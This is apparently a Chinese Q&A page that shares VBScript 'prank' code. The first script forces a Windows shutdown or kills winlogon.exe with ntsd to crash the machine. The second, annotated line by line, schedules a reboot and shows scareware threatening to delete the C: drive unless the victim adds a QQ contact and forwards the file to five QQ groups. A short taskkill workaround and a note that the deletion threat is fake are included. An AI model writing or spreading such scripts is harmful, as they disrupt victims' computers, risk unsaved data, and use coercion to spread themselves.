vbs坑人代码（求一种vbs整人代码）
本文目录
求一种vbs整人代码
我的，如果你点是猪就5秒后关机 你可以改成0就是立刻关机！ 点不是就蓝屏重启
if MsgBox("你是猪吗。",vbYesNo,"猪")=vbYes then
msgbox " 猪应该重启 ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
else
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1》nul 2》nul",vbhide
end if
解决办法：
什么都不要点建另一个VBS然后运行 代码如下：
Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"
一段恶作剧的VBS代码,求高手解释下
on error resume next ’开启错误提示
dim WSHshellA ’定义变量
set WSHshellA = wscript.createobject("wscript.shell") ’给变量赋值
WSHshellA.run "cmd.exe /c shutdown -r -t 600 -c ""速度加小贱QQ：1960226055问他解除方法、在转发五个QQ群、不然你也别想关掉、一小时后C盘全部文件将会被删除，不信你试试···"" ",0 ,true ’启动关机命令。
dim a ’定义变量A
do while(a 《》 "雨晴灬陈小贱喜欢你") ’循环 输入不为 雨晴灬陈小贱喜欢你 时执行循环
a = inputbox ("速度加小贱QQ：1960226055问他解除方法、在转发五个QQ群、不然你也别想关掉、一小时后C盘全部文件将会被删除，不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000) ’这个是调用输入框
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" ’进行提示,chr(13) 为换行
loop ’条件为真则往回循环 假则结束循环
msgbox chr(13) + chr(13) + chr(13) + "小贱提示：恭喜你系统已经解除、出品人：陈小贱QQ:1960226055" ’调用MSGBOX 进行提示
dim WSHshell ’重新定义WSHSHELL变量
set WSHshell = wscript.createobject("wscript.shell") ’指定程序所在
WSHshell.run "cmd.exe /c shutdown -a",0 ,true ’执行shutdown -a 命令
msgbox chr(13) + chr(13) + chr(13) + "哈哈，小贱耍你真过瘾、群雄争霸、天梦归来、谁又是下一个主宰" ’这里提示一下装逼信息..
这个程序很早就有了。这里不具备检测发群数量和删除C盘东西。只是简单的进行一个回答作用，打开立即运行关机命令，而且这个命令所设置的关机时间为600秒，即60分钟。
没有其它功能、
更多文章：
2026年11月6日 08:10
2026年11月6日 07:50
2026年11月6日 05:50
php递归删除目录（php怎么删除文件夹和文件夹下的所有文件）
2026年11月6日 03:30
vimoapp安卓手机版（制作VLog常用的APP有哪些呢）
2026年11月6日 01:50
拜登国防授权法案（少数国家对来自中国的旅客采取入境限制措施，中方：将采取对等措施）
2026年11月6日 00:40
2026年11月5日 22:50
2026年11月5日 22:10
2026年11月5日 20:20
2026年11月5日 19:10
